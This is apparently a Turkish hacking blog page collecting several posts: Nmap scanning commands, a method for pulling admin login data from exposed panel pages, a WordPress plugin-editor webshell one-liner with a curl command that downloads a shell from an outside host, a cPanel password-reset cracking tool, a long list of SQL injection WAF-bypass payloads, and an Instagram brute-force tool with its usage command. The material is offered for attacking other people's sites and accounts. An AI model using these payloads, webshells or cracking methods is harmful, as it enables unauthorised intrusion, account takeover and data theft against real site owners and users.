NMAP PROJECT / NASIL KULLANILIR?

NMAP / KULLANIM

Nmap versiyon ve port öğrenmeyle alakalı bir Ağ Haritası(Network Mapper) programıdır. Nmap ile portları bulabilir , kullanılan sürümleri öğrenebilir ve servis isimlerini tarayabilirsiniz. Kendi içinde bulunan script özelliği sayesinde belli sürümlerdeki zafiyetleri programı kullanarak test edebilirsiniz.

NMAP KOMUTLAR

-sV = serviceVersion yani çalışan hizmetin sürümünü gösterir.

-A = OScan , işletim sistemi tahmin eder.

-F = Hızlı Taramaya yarar.

-T = T1’den T5’e kadar seviyesi vardır. Hızlandırır , pratikleştirir. T4 çok kullanılır.

-sS = Gizli tarama yapar.

Benim açık portları ve sürümleri , bilgilerini öğrenmek için kullandığım kod ;

nmap -sV -sS -n -T4 ip.ad.re.si şeklindedir.

NMAP ile eternalblue exploit açığının olup olmadığını tespit etmek için ;

nmap -p445 --script smb-vuln-ms17-010 <ip> şeklinde bir tarama yapmak gerekir.

Bunun gibi zafiyeti tespit edebileceğiniz bir çok script içinde barındırılmaktadır.

Nmap resmi websitesi :https://nmap.org/

Read More

Admin Panel'den Giriş Bilgilerini Ele Geçirme

Admin Panel'den Giriş Bilgilerini Ele Geçirme

Merhaba arkadaşlar bugün sizlere

admin panel kaynak kodlarından sitenin giriş bilgilerini almayı göstereceğim

gördüğünüz gibi admin panelimiz şimdi ctrl+u ile kaynak kodlarına gidelim

şimdi kaynak kodlarında url üzerinden denemeler yapıyoruz admin.php - home.php -dashboard.php gibi amacımız eğer şifreyi girseydik bizi hangi sayfaya atacağını bulmak

gördüğünüz gibi doğru olanı bulduk şimdi biraz kurcalıyoruz

evet user diye aradık ve manage_user.php bulduk bu bizim işimize yarabilir o zaman oraya gidelim

evet bu sayfayıda kurcaladık ve bulduk add_user.php?id=1 bu site içinde user ekleme editleme bölümü şimdi bide oraya gidelim 

ve biraz kurcalayınca değerleri bulduk gördüğünüz gibi bu kadar kolay

bu aşama işi arkadaşlar her sitede çalışmaz ama denemek lazım hedef sitede işinize yarar

Read More

WORDPRESS KOMUT SHELL UPLOAD [METHOD]

WORDPRESS KOMUT SHELL UPLOAD [METHOD]

Merhaba Arkadaşlar Bugün  Sizlere  Wordpress Sitelerde Komut Çalıştırmayı Anlatacağım Konuyu Yabancı Bir Kaynaktan Çevirerek Sizlere Sunuyoruz!

İlk Önce Wordpress Yönetici Paneline Girerek Plugin Editor Bölümüne Geliyoruz.

Editor'e Geldikten Sonra Herhangi Bir Plugin'i Seçiniz Seçtikten Sonra URL Şu Şekilde Olacaktır.

/wp-admin/plugin-editor.php?file=akismet/index.php

[Önemli]

Şimdi İse Editleyecegiz Yapmanız Gereken Tek Şey Size Vereceğim Aşağıdaki Komut'u Yapıştırmak Olacaktır.

<pre><?php system($_GET['x'])?></pre>

[ÖRNEK]

öreksitecom/wp-content/plugins/akismet/?x=

Bu Şekilde Konsol Çalıştırabilirsiniz Burdan Shellde Yükleyebilmeniz Mümkündür ve
Genelde nginx Serverlerde Çalışan Bir Yöntemdir.

[ÖRNEK]

öreksitecom/wp-content/plugins/akismet/?x=dir ​

[dir/ls] Komutlarını Kullanarak Deneyebilirsiniz Çalışıp Çalışmadıgını Size Dizin İçerisindeki Klasör ve Dosyaları Gösterir.

Gördügünüz Gibi Gayet Pratik Bir Yöntem

curl shellyüküsitecom/shell.txt -o zymper.php şeklinde komut çalıştırdığınızda zymper.php isminde shellyüküsitecom/shell.txt sitesindeki shellin yüklü olduğu bir dosya size verecektir​

Read More

CPANEL CRACK SHELL İNDİR

CPANEL CRACK SHELL İNDİR

Merhaba Sevgili CyberrWeb Takipçileri Girdiginiz Sitelerdeki Cpanellerin Resetpass Kısmından Hızlı Şekilde Cpanel'i Cracklemenize Yarayacak Olan CyberrWeb Resetpass CP Sizlerle Coded By Zymper Yazmasına Aldanmayın 😁 Endenozyalıların Bu Toolda, Türk Hack Tool Paylaşım Piyasasında Çok Fazla Paylaşılmamıştı Biz Paylaşmak İstedik.

Kullanım'ı Basit ve Kolaydır Size Verilen Kutucuga Mail Adresinizi Yazın ve Altta Size Vereceği URL Adresine Gidin Ardından Girdiginiz Sitenin Host Usernamesini Cpanel Resetpass Bölümüne Giriniz Size Kutucugun İçerisine Yazdınız Mailinizi Soracaktır Mailinizi Girin ve Mailinizden Reset Kodu İle Şifreyi Değiştirin! Artık Cpaneldesiniz Tebrikler...

DOWNLOAD

Read More

SQL WAF BYPASS

WAF BYPASS

Merhaba Sevgili CyberrWeb Takipçileri İnternet Üzerindeki Bir Çok Kaynağı Araştırarak Manuel Olarak SQL BYPASS Yapanların İşine Yarayacak WAF BYPASS Komutlarını Sizlere Paylaşıyoruz! Pek Çok Web Sitesinde Karşılaştıgınız WAF Korumasını Bypass Etmenize Yardım Edecektir.

ORDER BY


/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

UNION SELECT


/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

information_schema.tables 


/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

Concat


CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

Group Concat


/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)

Read More

BruteSploit / İnstagram Account Hacking

BruteSploit / İnstagram Account Hacking

BruteSploit İnstagram Hesabı Hedef Alınarak Deneme Yanılma Kısaca Kaba Kuvvet Saldırısı Gerçekleştirerek, Wordlist'inizin Ne Kadar İyi Olduğunada Bağlı Şekilde Hedef Hesabın Şifresinin Kırılmasına Olağan Sağlayacaktır.

İndirmek İçin Tıklayınız!

Kullanımı Hakkında

Kullanım: ["python instabrute.py -u instaadı -w wordlistadı.txt -p proxy.txt"]

Taratma Sırasında Hedef Hesabın Şifresi Mevcut Wordlist TXT Dosyasında Bulunuyor İse Size Terminal Üzerinden Belirtecektir.

Read More

İnstagram Yorumda Sansür

İnstagram Yorumda Sansür [METHOD]

Merhaba Sevgili CyberrWeb Takipçileri Sizlere shado.killer Kod Adlı Medyacının Paylaştığı Sansürleme Method'unu Sunuyoruz!

Nedir Bu Sansürleme Method?

İnstagramda Yorumlar Veya Kullanıcılar İle Yazışmalarınızda Karşı Tarafa Atabileceginiz İlgi Çekici Şekilde Karşı Tarafa Göndereceginiz Mesaj Stili Diyebiliriz.

Örnek : https://i.hizliresim.com/uoUpBd.jpg

METHOD İçin Tıklayınız!

Read More